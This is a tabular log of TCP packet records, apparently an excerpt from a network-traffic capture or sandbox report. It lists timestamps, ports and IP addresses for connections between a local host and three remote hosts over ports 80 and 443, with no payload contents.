Apr 24, 2024 18:52:08.216865063 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216872931 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216902971 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216932058 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216941118 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.216953039 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.216984034 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.217011929 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.217071056 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.522349119 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.522403955 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.522463083 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.522496939 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.522516012 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.522551060 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.523580074 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.523617029 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.523633957 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.523668051 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.524986982 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525057077 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525160074 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525193930 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525213003 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525249958 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525274038 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525310993 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525314093 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525350094 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525386095 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525424004 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525504112 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525541067 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525547028 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525579929 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525587082 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525618076 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525654078 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525692940 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.525696039 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.525728941 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.828360081 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.828428030 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.828457117 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.828468084 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.828547001 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.828547001 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.830250978 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.830296040 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.831435919 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.831484079 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.832525969 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.832570076 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.832573891 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.832616091 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.832624912 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.832664967 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.832673073 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.832716942 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.832721949 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.832767963 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.832782030 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.832823992 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.832832098 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.832890987 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.833131075 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.833184958 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.833198071 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.833233118 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.833247900 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.833292961 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.833295107 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.833333015 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.833353043 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:08.833395958 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:08.879089117 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:08.879123926 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:08.879199028 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:08.896333933 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:08.896358013 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:08.924128056 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:08.924238920 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:08.924326897 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:08.924503088 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:08.924520969 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:08.945590973 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:08.945664883 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:08.945736885 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:08.946228027 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:08.946264982 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:09.134175062 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.134308100 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.134325981 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.134413004 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.134480000 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.134521008 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.134529114 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.134573936 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.135901928 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.135982990 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.138786077 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.138837099 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.138931990 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.138968945 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.138978958 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139023066 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139103889 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139141083 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139168978 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139178038 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139185905 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139241934 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139467001 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139503956 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139518023 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139543056 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139553070 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139586926 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139611959 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139667988 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139705896 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139724016 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139779091 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.139779091 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.139838934 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.226566076 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:09.226658106 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:09.230746031 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:09.230762959 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:09.231005907 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:09.231081009 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:09.232739925 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:09.276118040 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:09.439910889 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.439963102 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.440047979 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.440084934 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.440094948 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.440164089 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.440181971 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.441179991 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.443569899 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.444457054 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.444510937 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.444602966 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.444648027 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.444782972 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.444828033 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.444837093 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.444880962 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.444928885 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.444966078 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.444973946 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445003986 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445015907 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445044994 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445060015 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445096970 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445101023 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445132971 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445138931 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445171118 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445204973 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445241928 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445245981 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445281029 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445311069 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445348024 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.445349932 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.445386887 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.602040052 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:09.603209019 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:09.603777885 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:09.603790998 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:09.605521917 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:09.605528116 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:09.745255947 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.745315075 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.745330095 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.745382071 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.745400906 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.745426893 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.745464087 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.749017000 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.749489069 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.750227928 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.750296116 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751013041 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751051903 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751082897 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751104116 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751113892 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751152039 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751187086 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751211882 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751276970 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751315117 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751321077 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751363993 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751799107 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751837969 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751894951 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751914024 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751950979 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.751965046 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.751997948 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.752021074 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.752058029 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.752074003 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.752094984 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.752127886 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.752144098 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:09.752212048 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:09.752343893 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.001288891 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:10.001348972 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:10.001360893 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:10.001414061 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:10.001429081 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:10.001466036 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:10.001521111 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:10.001729965 CEST	49740	443	192.168.2.4	172.67.139.220
Apr 24, 2024 18:52:10.001746893 CEST	443	49740	172.67.139.220	192.168.2.4
Apr 24, 2024 18:52:10.050829887 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.050874949 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.050936937 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.050936937 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.050951004 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.050970078 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.051011086 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.051012039 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.056044102 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.056094885 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.057351112 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.057435036 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.057468891 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.057502031 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.057542086 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.057549000 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.057586908 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.057598114 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.057630062 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.060122967 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.363033056 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.363143921 CEST	49736	80	192.168.2.4	211.171.233.129
Apr 24, 2024 18:52:10.365267992 CEST	80	49736	211.171.233.129	192.168.2.4
Apr 24, 2024 18:52:10.659490108 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:10.659545898 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:10.659568071 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.659595966 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:10.659609079 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.659636021 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.659645081 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:10.659679890 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.659750938 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:10.659885883 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.661427021 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.661442995 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:10.708484888 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.708559990 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:10.708687067 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.709059000 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:10.709091902 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:11.367863894 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:11.367935896 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:11.375868082 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:11.375894070 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:11.378554106 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:11.378561020 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:12.428627014 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:12.428713083 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:12.428795099 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:12.428849936 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:12.428886890 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:12.429689884 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:12.451256037 CEST	49743	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:12.451287031 CEST	443	49743	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:13.053396940 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:13.053456068 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:13.053549051 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:13.054352045 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:13.054374933 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:13.711549997 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:13.711652040 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:13.719005108 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:13.719038963 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:13.728121042 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:13.728137970 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:13.728275061 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:13.728296995 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:14.708856106 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:14.708941936 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:14.709033012 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:14.711707115 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:14.711735964 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:14.842216969 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:14.842319965 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:14.842381001 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:14.842415094 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:14.842468977 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:14.843460083 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:14.843507051 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:15.369541883 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:15.369633913 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:15.370248079 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:15.370274067 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:15.382781982 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:15.382795095 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.399691105 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.399763107 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.399808884 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.399884939 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.399884939 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.399884939 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.399957895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.400017977 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.548224926 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.548296928 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.548332930 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.548381090 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.548414946 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.550326109 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.777616978 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.777653933 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.777746916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.777746916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.777817965 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.777857065 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:16.777889967 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:16.777914047 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 18:52:17.167989016 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168039083 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 18:52:17.168083906 CEST	49750	443	192.168.2.4	95.217.9.149
